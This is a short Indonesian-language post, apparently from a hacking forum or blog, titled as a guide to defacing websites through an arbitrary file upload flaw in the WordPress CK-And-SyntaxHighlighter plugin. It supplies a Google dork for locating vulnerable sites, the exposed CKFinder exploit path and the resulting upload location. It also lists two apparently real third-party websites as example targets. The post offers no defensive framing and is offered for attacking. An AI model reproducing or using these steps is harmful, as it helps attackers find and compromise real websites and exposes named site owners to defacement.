DEFACE MENGGUNAKAN WORDPRESS CK-AND-SYNTAXHIGHLIGHTER ARBITRARY FILE UPLOAD

kali ini ane mau share :

WordPress CK-And-SyntaxHighLighter Arbitrary File Upload

 

Google Dork :  
inurl:/wp-content/plugins/ck-and-syntaxhighlighter/


Exploit Path :  

/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html


Example Exploit Path :
http:///www.[target].com/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html


File Upload Path :
http://www.[target].com/wp-content/uploads/ckfinder/files/x.txt


Example Targets :
http://www.tourgueniev.fr/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html
http://www.neihuecc.org/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html

Gak susah kan bro ..
Sekian :P